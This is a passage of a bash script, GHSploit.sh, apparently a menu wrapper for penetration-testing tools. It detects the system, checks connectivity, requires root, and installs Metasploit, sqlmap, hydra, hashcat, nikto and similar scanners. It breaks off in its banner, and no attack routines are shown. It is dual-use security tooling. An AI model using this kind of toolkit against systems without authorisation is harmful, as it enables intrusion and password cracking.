GHSploit.sh 82 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607
  1. #!/bin/bash
  2. #=======================================
  3. #Colors
  4. #=======================================
  5. grey="\037[0;32m"
  6. greent="\033[0;32m"
  7. greenf="\033[1;32m"
  8. BlueF='\e[1;34m'
  9. end="\033[0m"
  10. orange='\e[38;5;166m'
  11. cyan='\e[0;36m'
  12. blues='\e[0;34m'
  13. okegreen='\033[92m'
  14. lightgreen='\e[1;32m'
  15. white='\e[1;37m'
  16. red='\e[1;31m'
  17. slimred='\e[0;31m'
  18. yellow='\e[0;33m'
  19. mainc=$cyan
  20. #=======================================
  21. #Gently OS and arch detection
  22. arch=$(uname -m) #Detecting arch of your system
  23. os=$(lsb_release -i | awk {'print $3'}) #Detecting your OS
  24. osver=$(lsb_release -r | awk {'print $2'}) #Detecting version of your os
  25. krnlver=$(uname -v | awk {'print $4'}) #Kernel version detection
  26. cpu=$(lscpu | grep "Model name" | awk {'print $3" "$4" "$5" "$6$7$8'}) #Detecting CPU model, Frequency
  27. gpu=$(lspci | grep '3D') #Detecting GPU (3D ONLY)
  28. ram=$(free -m | awk '/^Mem:/{print $2}') #How many RAM you have
  29. bashver=$(bash --version | awk '/^GNU bash/' | awk {'print $4'}) #Your bash version
  30. sysinfo() {
  31. clear
  32. banner
  33. sleep 0.01
  34. echo "==========| System information |=========="
  35. sleep 0.01
  36. echo -e "${greent}Operation System${end} : ${yellow}$os"
  37. sleep 0.01
  38. echo -e "${greent}OS version${end} : ${yellow}$osver"
  39. sleep 0.01
  40. echo -e "${greent}Kernel version${end} : ${yellow}$krnlver"
  41. sleep 0.01
  42. echo -e "${greent}CPU${end} : ${yellow}$cpu"
  43. sleep 0.01
  44. echo -e "${greent}GPU(3D)${end} : ${yellow}$gpu"
  45. sleep 0.01
  46. echo -e "${greent}RAM(MB)${end} : ${yellow}$ram"
  47. sleep 0.01
  48. echo -e "${greent}Bash version${end} :${yellow}$bashver${end}"
  49. sleep 0.01
  50. echo ""
  51. echo -e "${greenf}Press [ENTER] to return to main menu${end}"
  52. read pasjdjasid
  53. main_menu
  54. }
  55. #=======================================
  56. #Check internet function
  57. #=======================================
  58. checkinternet() {
  59. echo -e "$greenf" "[ * ] Checking for internet connection..."
  60. sleep 1
  61. echo -e "GET http://google.com HTTP/1.0\n\n" | nc google.com 80 > /dev/null 2>&1 #sending GET request to google.com
  62. if [ $? -ne 0 ];then
  63. echo -e "$red[ X ] : [Internet Connection]: [OFFLINE]"
  64. echo -e "$red" "[X] Your Internet is not working correctly!"
  65. sleep 1
  66. echo -e "$cyan" "[*] Checking ...."
  67. #ping hostname failed , so now will test ping google ip dns server
  68. ping -c 1 8.8.4.4 > /dev/null 2>&1
  69. png="$?"
  70. if [ "$png" == "0" ];then
  71. internet="[${yellow}Connected, but there may be errors${end}]"
  72. connection=5050
  73. echo -e "$red" "[X] Your system can't resolve"
  74. echo -e "$red" "hostnames over terminal using ping."
  75. echo ""
  76. echo -e "$yellow" "Search on the web : unable to resolve hostnames ping to find a solution"
  77. echo ""
  78. echo -e "$greenf" "Setup will continue , but is not garantee that apt package management
  79. may work properly , or even if it can resolve hostnames ."
  80. echo ""
  81. echo -e "$cyan" "Setup will continue because :"
  82. echo -e "$greenf" "Ping google.com =$red Failed"
  83. echo -e "$greenf" "Ping google DNS = Success"
  84. echo ""
  85. echo -e "$greenf" "Press [ENTER] key to continue"
  86. read continue
  87. elif [ "$png" == "1" ];then
  88. internet="[${orange}Connected to LAN${end}]"
  89. connection=lan
  90. echo -e "$yellow" "You are connected to your local network but not to the web."
  91. echo -e "$yellow" "Check if your router/modem gateway is connected to the web."
  92. echo ""
  93. echo -e "$greenf" "Setup will continue, but you will only be able to run tests on the local network"
  94. echo -e "$greenf" "Right now, GHSploit's functionality is limited"
  95. echo ""
  96. echo -e "$greenf" "Ping google.com =$red Failed"
  97. echo -e "$greenf" "Ping google DNS =$red Failed"
  98. echo ""
  99. echo -e "$greenf" "Press [ENTER] key to continue"
  100. read -r continue
  101. elif [ "$png" == "2" ];then
  102. internet="[${red}Not connected to any network${end}]"
  103. connection=no
  104. echo -e "$red" "You are not connected to any network ."
  105. echo ""
  106. echo -e "$cyan" "Setup will continue, but you can perform only offline tasks!"
  107. echo -e "$greenf" "Ping google.com =$red Failed"
  108. echo -e "$greenf" "Ping google DNS =$red Failed"
  109. echo ""
  110. echo -e "$greenf" "Press [ENTER] key to continue"
  111. read -r continue
  112. fi
  113. else
  114. internet="[${BlueF}Connected to internet${end}]"
  115. connection=yes
  116. echo -e "$greenf [ ✔ ] : [Internet Connection]: CONNECTED!"
  117. echo ""
  118. echo -e "$greenf Press [ENTER] key to continue${end}"
  119. read continue
  120. fi
  121. }
  122. #In main menu, you can re-check your connection by clicking one button, no GHSPloit restarting requied
  123. conrecheck() {
  124. clear
  125. banner
  126. checkinternet
  127. }
  128. #=======================================
  129. #BEGIN OF PRE-START FUNCTIONS
  130. #=======================================
  131. #Pre-start function that form the pre-start functions sequence (check root, check for tools installed etc)
  132. prestart() {
  133. clear
  134. check_root
  135. checkinternet
  136. checkmark=0
  137. onetimeupdate
  138. ask_for_requiements
  139. clear
  140. sleep 0.5
  141. msfcheck
  142. sleep 0.5
  143. sqlmapcheck
  144. sleep 0.5
  145. nmapcheck
  146. sleep 0.5
  147. whoischeck
  148. sleep 0.5
  149. hydracheck
  150. sleep 0.5
  151. hashcatcheck
  152. sleep 0.5
  153. niktocheck
  154. sleep 0.5
  155. wpscancheck
  156. sleep 0.5
  157. joomscancheck
  158. sleep 0.5
  159. dirbcheck
  160. sleep 0.5
  161. gobustercheck
  162. installcheck
  163. main_menu
  164. }
  165. nonroot() {
  166. root="${red}Non-root"
  167. clear
  168. checkinternet
  169. insreq=0
  170. msfcheck > /dev/null 2>&1
  171. sqlmapcheck > /dev/null 2>&1
  172. nmapcheck > /dev/null 2>&1
  173. whoischeck > /dev/null 2>&1
  174. hydracheck > /dev/null 2>&1
  175. hashcatcheck > /dev/null 2>&1
  176. niktocheck > /dev/null 2>&1
  177. wpscancheck > /dev/null 2>&1
  178. joomscancheck > /dev/null 2>&1
  179. dirbcheck > /dev/null 2>&1
  180. gobustercheck > /dev/null 2>&1
  181. main_menu
  182. }
  183. #For start, GHSploit need to be sure you are root
  184. #Root needed for some types of attacks, for example, some nmap scan types requied root-privileges
  185. #System updating, installing requied software needs root privs
  186. #For general purposes and some limited usage, we made an non-root starting function, so you can run GHSPloit without root privileges
  187. #But in this case, we can not guarantee 100% functionality of the program
  188. check_root() {
  189. if (("$EUID" != 0));then
  190. echo -e "${slimred}I'm sorry, I need root to do things.."
  191. echo -e "Please, run GHSploit as superuser or try parameter --nonroot to try non-root version${end}"
  192. echo "Exiting..."
  193. exit
  194. else
  195. root="${BlueF}Root"
  196. fi
  197. }
  198. #One time update && upgrade function (if user want it)
  199. onetimeupdate() {
  200. echo -e "Can I update your system? (y/n)${red}"
  201. read -p $'\e[1;31m>>>\e[0m ' caniupdate
  202. case $caniupdate in
  203. y)
  204. xterm -geometry 100x30 -T "Updating your system" -e "sudo apt-get update && sudo apt-get dist-upgrade && sudo apt-get full-upgrade"
  205. echo "Done!"
  206. ;;
  207. n)
  208. ;;
  209. *)
  210. echo "Error input, repeating..."
  211. onetimeupdate
  212. ;;
  213. esac
  214. }
  215. #Next, it will ask, do you want to auto install requiements
  216. ask_for_requiements() {
  217. echo -e "${end}Can I automaticly install requiements? (y/n)${red}"
  218. read -p $'\e[1;31m>>>\e[0m ' afr_ans
  219. case $afr_ans in
  220. y)
  221. insreq=1
  222. ;;
  223. n)
  224. insreq=0
  225. ;;
  226. *)
  227. echo "Error input, repeating..."
  228. sleep 1
  229. ask_for_requiements
  230. ;;
  231. esac
  232. }
  233. #=======================================
  234. #Default force start without installing requiements
  235. #=======================================
  236. forcestart() {
  237. clear
  238. check_root
  239. checkinternet
  240. insreq=0
  241. msfcheck > /dev/null 2>&1
  242. sqlmapcheck > /dev/null 2>&1
  243. nmapcheck > /dev/null 2>&1
  244. whoischeck > /dev/null 2>&1
  245. hydracheck > /dev/null 2>&1
  246. hashcatcheck > /dev/null 2>&1
  247. niktocheck > /dev/null 2>&1
  248. wpscancheck > /dev/null 2>&1
  249. joomscancheck > /dev/null 2>&1
  250. dirbcheck > /dev/null 2>&1
  251. gobustercheck > /dev/null 2>&1
  252. main_menu
  253. }
  254. #=======================================
  255. #Force start with installing requiements
  256. #=======================================
  257. forcestartinst() {
  258. clear
  259. check_root
  260. checkinternet
  261. insreq=1
  262. echo "Please wait until GHSploit will set up all the requirements it needs"
  263. msfcheck > /dev/null 2>&1
  264. sqlmapcheck > /dev/null 2>&1
  265. nmapcheck > /dev/null 2>&1
  266. whoischeck > /dev/null 2>&1
  267. hydracheck > /dev/null 2>&1
  268. hashcatcheck > /dev/null 2>&1
  269. niktocheck > /dev/null 2>&1
  270. wpscancheck > /dev/null 2>&1
  271. joomscancheck > /dev/null 2>&1
  272. dirbcheck > /dev/null 2>&1
  273. gobustercheck > /dev/null 2>&1
  274. main_menu
  275. }
  276. #Now is the requied software check time!
  277. #Lets start with msfcheck
  278. msfcheck() {
  279. which msfconsole > /dev/null 2>&1
  280. if [ "$?" -eq "0" ]; then
  281. echo -e "${end}Metasploit......................[ ${greenf}Found${end} ]"
  282. checkmark=$((checkmark+1))
  283. msfinstalled=1
  284. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  285. echo -e "Metasploit...........................[ ${orange}Not found${end} ]"
  286. echo -e "Installing msfconsole...."
  287. xterm -geometry 100x30 -T "Installing Metasploit" -e "sudo apt-get install metasploit-framework"
  288. which msfconsole > /dev/null 2>&1
  289. if [ "$?" -eq "0" ];then
  290. echo -e "${greenf}Succesfully installed msfconsole${end}"
  291. checkmark=$((checkmark+1))
  292. msfinstalled=1
  293. else
  294. echo -e "${orange}Something went wrong while metasploit installation...Please, restart the program and try again!${end}"
  295. msfinstalled=0
  296. fi
  297. else
  298. echo -e "Metasploit......................[ ${red}Not found${end} ]"
  299. msfinstalled=0
  300. fi
  301. }
  302. #Checking if SQLMAP is exist..
  303. sqlmapcheck() {
  304. which sqlmap > /dev/null 2>&1
  305. if [ "$?" -eq "0" ];then
  306. echo -e "sqlmap..........................[ ${greenf}Found${end} ]"
  307. checkmark=$((checkmark+1))
  308. sqlmapinstalled=1
  309. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  310. echo -e "sqlmap...........................[ ${orange}Not found${end} ]"
  311. echo -e "Installing sqlmap...."
  312. xterm -geometry 100x30 -T "Installing sqlmap" -e "sudo apt-get install sqlmap"
  313. which sqlmap > /dev/null 2>&1
  314. if [ "$?" -eq "0" ];then
  315. echo -e "${greenf}Succesfully installed sqlmap${end}"
  316. checkmark=$((checkmark+1))
  317. sqlmapinstalled=1
  318. else
  319. echo -e "${orange}Something went wrong while sqlmap installation...Please, restart the program and try again!${end}"
  320. sqlmapinstalled=0
  321. fi
  322. else
  323. echo -e "sqlmap..........................[ ${red}Not found${end} ]"
  324. sqlmapinstalled=0
  325. fi
  326. }
  327. #Checking if NMAP is exist..
  328. nmapcheck() {
  329. which nmap > /dev/null 2>&1
  330. if [ "$?" -eq "0" ];then
  331. echo -e "nmap............................[ ${greenf}Found${end} ]"
  332. checkmark=$((checkmark+1))
  333. nmapinstalled=1
  334. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  335. echo -e "nmap...........................[ ${orange}Not found${end} ]"
  336. echo -e "Installing nmap...."
  337. xterm -geometry 100x30 -T "Installing nmap" -e "sudo apt-get install nmap nmap-common"
  338. which nmap > /dev/null 2>&1
  339. if [ "$?" -eq "0" ];then
  340. echo -e "${greenf}Succesfully installed nmap${end}"
  341. checkmark=$((checkmark+1))
  342. nmapinstalled=1
  343. else
  344. echo -e "${orange}Something went wrong while nmap installation...Please, restart the program and try again!${end}"
  345. nmapinstalled=0
  346. fi
  347. else
  348. echo -e "nmap............................[ ${red}Not found${end} ]"
  349. nmapinstalled=0
  350. fi
  351. }
  352. #Checking if WHOIS is exist..
  353. whoischeck() {
  354. which whois > /dev/null 2>&1
  355. if [ "$?" -eq "0" ];then
  356. echo -e "whois...........................[ ${greenf}Found${end} ]"
  357. whoisinstalled=1
  358. checkmark=$((checkmark+1))
  359. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  360. echo -e "whois...........................[ ${orange}Not found${end} ]"
  361. echo -e "Installing whois tools...."
  362. xterm -geometry 100x30 -T "Installing whois tools" -e "sudo apt-get install whois spiderfoot python3-whois"
  363. which whois > /dev/null 2>&1
  364. if [ "$?" -eq "0" ];then
  365. echo -e "${greenf}Succesfully installed whois${end}"
  366. checkmark=$((checkmark+1))
  367. whoisinstalled=1
  368. else
  369. echo -e "${orange}Something went wrong while whois installation...Please, restart the program and try again!${end}"
  370. whoisinstalled=0
  371. fi
  372. else
  373. echo -e "whois...........................[ ${red}Not found${end} ]"
  374. whoisinstalled=0
  375. fi
  376. }
  377. #Checking if HYDRA is exist..
  378. hydracheck() {
  379. which hydra > /dev/null 2>&1
  380. if [ "$?" -eq "0" ];then
  381. echo -e "hydra...........................[ ${greenf}Found${end} ]"
  382. checkmark=$((checkmark+1))
  383. hydrainstalled=1
  384. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  385. echo -e "hydra...........................[ ${orange}Not found${end} ]"
  386. echo "Installing hydra..."
  387. xterm -geometry 100x30 -T "Installing THC-Hydra" -e "sudo apt-get install hydra"
  388. which hydra > /dev/null 2>&1
  389. if [ "$?" -eq "0" ];then
  390. echo -e "${greenf}Succesfully installed hydra${end}"
  391. checkmark=$((checkmark+1))
  392. hydrainstalled=1
  393. else
  394. echo -e "${orange}Something went wrong while hydra installation...Please, restart the program and try again!${end}"
  395. hydrainstalled=0
  396. fi
  397. else
  398. echo -e "hydra...........................[ ${red}Not found${end} ]"
  399. hydrainstalled=0
  400. fi
  401. }
  402. #Checking if HASHCAT is exist..
  403. hashcatcheck() {
  404. which hashcat > /dev/null 2>&1
  405. if [ "$?" -eq "0" ];then
  406. echo -e "hashcat.........................[ ${greenf}Found${end} ]"
  407. checkmark=$((checkmark+1))
  408. hashcatinstalled=1
  409. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  410. echo -e "hashcat.......................[ ${orange}Not found${end} ]"
  411. echo "Installing hashcat tools..."
  412. xterm -geometry 100x30 -T "Installing hashcat utils" -e "sudo apt-get install hashcat hashcat-data hashcat-nvidia hashcat-utils hashcat-utils hashcat-utils-dbgsym -y"
  413. which hashcat > /dev/null 2>&1
  414. if [ "$?" -eq "0" ];then
  415. echo -e "${greenf}Succesfully installed hashcat${end}"
  416. checkmark=$((checkmark+1))
  417. hashcatinstalled=1
  418. else
  419. echo -e "${orange}Something went wrong while hashcat installation...Please, restart the program and try again!${end}"
  420. hashcatinstalled=0
  421. fi
  422. else
  423. echo -e "hashcat.......................[ ${red}Not found${end} ]"
  424. hashcatinstalled=0
  425. fi
  426. }
  427. #Checking if NIKTO is exist..
  428. niktocheck() {
  429. which nikto > /dev/null 2>&1
  430. if [ "$?" -eq "0" ];then
  431. echo -e "nikto...........................[ ${greenf}Found${end} ]"
  432. checkmark=$((checkmark+1))
  433. niktoinstalled=1
  434. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  435. echo -e "nikto...........................[ ${orange}Not found${end} ]"
  436. echo "Installing nikto..."
  437. xterm -geometry 100x30 -T "Installing nikto" -e "sudo apt-get install nikto"
  438. which nikto > /dev/null 2>&1
  439. if [ "$?" -eq "0" ];then
  440. echo -e "${greenf}Succesfully installed nikto${end}"
  441. checkmark=$((checkmark+1))
  442. niktoinstalled=1
  443. else
  444. echo -e "${orange}Something went wrong while nikto installation...Please, restart the program and try again!${end}"
  445. niktoinstalled=0
  446. fi
  447. else
  448. echo -e "nikto...........................[ ${red}Not found${end} ]"
  449. niktoinstalled=0
  450. fi
  451. }
  452. #Checking if WPSCAN is exist..
  453. wpscancheck() {
  454. which wpscan > /dev/null 2>&1
  455. if [ "$?" -eq "0" ];then
  456. echo -e "wpscan..........................[ ${greenf}Found${end} ]"
  457. checkmark=$((checkmark+1))
  458. wpscaninstalled=1
  459. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  460. echo -e "wpscan..........................[ ${orange}Not found${end} ]"
  461. echo "Installing wpscan..."
  462. xterm -geometry 100x30 -T "Installing WordPress Scan" -e "sudo apt-get install wpscan"
  463. which wpscan > /dev/null 2>&1
  464. if [ "$?" -eq "0" ];then
  465. echo -e "${greenf}Succesfully installed wpscan${end}"
  466. checkmark=$((checkmark+1))
  467. wpscaninstalled=1
  468. else
  469. echo -e "${orange}Something went wrong while wpscan installation...Please, restart the program and try again!${end}"
  470. wpscaninstalled=0
  471. fi
  472. else
  473. echo -e "wpscan..........................[ ${red}Not found${end} ]"
  474. wpscaninstalled=0
  475. fi
  476. }
  477. #Checking if JOOMSCAN is exist..
  478. joomscancheck() {
  479. which joomscan > /dev/null 2>&1
  480. if [ "$?" -eq "0" ];then
  481. echo -e "joomscan........................[ ${greenf}Found${end} ]"
  482. checkmark=$((checkmark+1))
  483. joomscaninstalled=1
  484. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  485. echo -e "joomscan........................[ ${orange}Not found${end} ]"
  486. echo "Installing joomscan..."
  487. xterm -geometry 100x30 -T "Installing Joomla Scan" -e "sudo apt-get install joomscan"
  488. which joomscan > /dev/null 2>&1
  489. if [ "$?" -eq "0" ];then
  490. echo -e "${greenf}Succesfully installed joomscan${end}"
  491. checkmark=$((checkmark+1))
  492. joomscaninstalled=1
  493. else
  494. echo -e "${orange}Something went wrong while joomscan installation...Please, restart the program and try again!${end}"
  495. wpscaninstalled=0
  496. fi
  497. else
  498. echo -e "joomscan........................[ ${red}Not found${end} ]"
  499. joomscaninstalled=0
  500. fi
  501. }
  502. #Checking if DIRB is exist..
  503. dirbcheck() {
  504. which dirb > /dev/null 2>&1
  505. if [ "$?" -eq "0" ];then
  506. echo -e "dirb............................[ ${greenf}Found${end} ]"
  507. checkmark=$((checkmark+1))
  508. dirbinstalled=1
  509. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  510. echo -e "dirb............................[ ${orange}Not found${end} ]"
  511. echo "Installing dirb..."
  512. xterm -geometry 100x30 -T "Installing dirb" -e "sudo apt-get install dirb"
  513. which dirb > /dev/null 2>&1
  514. if [ "$?" -eq "0" ];then
  515. echo -e "${greenf}Succesfully installed dirb${end}"
  516. checkmark=$((checkmark+1))
  517. dirbinstalled=1
  518. else
  519. echo -e "${orange}Something went wrong while dirb installation...Please, restart the program and try again!${end}"
  520. dirbinstalled=0
  521. fi
  522. else
  523. echo -e "dirb............................[ ${red}Not found${end} ]"
  524. dirbinstalled=0
  525. fi
  526. }
  527. #Checking if GOBUSTER is exist..
  528. gobustercheck() {
  529. which gobuster > /dev/null 2>&1
  530. if [ "$?" -eq "0" ];then
  531. echo -e "gobuster........................[ ${greenf}Found${end} ]"
  532. checkmark=$((checkmark+1))
  533. gobusterinstalled=1
  534. elif [ "$?" -ne "0" ] && [ $insreq == 1 ];then
  535. echo -e "gobuster........................[ ${orange}Not found${end} ]"
  536. echo "Installing gobuster..."
  537. xterm -geometry 100x30 -T "Installing GoBuster" -e "sudo apt-get install gobuster"
  538. which gobuster > /dev/null 2>&1
  539. if [ "$?" -eq "0" ];then
  540. echo -e "${greenf}Succesfully installed gobuster${end}"
  541. checkmark=$((checkmark+1))
  542. gobusterinstalled=1
  543. else
  544. echo -e "${orange}Something went wrong while gobuster installation...Please, restart the program and try again!${end}"
  545. gobusterinstalled=0
  546. fi
  547. else
  548. echo -e "gobuster........................[ ${red}Not found${end} ]"
  549. gobusterinstalled=0
  550. fi
  551. }
  552. #Now we have to make sure that all the components are installed
  553. installcheck() {
  554. if [ $checkmark -eq 11 ];then
  555. echo -e "${greenf}All of the requied components are installed!"
  556. echo "Press enter to continue"
  557. read qwe
  558. elif [ $checkmark -lt 11 ];then
  559. echo -e "One or more of the requied components are not installed."
  560. sleep 0.01
  561. echo "Are you sure you want to continue(y/n)?"
  562. sleep 0.01
  563. echo "It will cause limited functionality..."
  564. read -p $'\e[1;31m>>>\e[0m ' areyousure
  565. case $areyousure in
  566. y)
  567. main_menu
  568. ;;
  569. n)
  570. exit
  571. ;;
  572. *)
  573. echo "Error input, repeating..."
  574. sleep 1
  575. installcheck
  576. ;;
  577. esac
  578. fi
  579. }
  580. #=======================================
  581. #END OF PRE-START FUNCTIONS
  582. #=======================================
  583. #Banner
  584. banner() {
  585. echo -e "${greenf}░██████╗░██╗░░██╗░██████╗██████╗░██╗░░░░░░█████╗░██╗████████╗"
  586. sleep 0.01
  587. echo -e "██╔════╝░██║░░██║██╔════╝██╔══██╗██║░░░░░██╔══██╗██║╚══██╔══╝"
  588. sleep 0.01
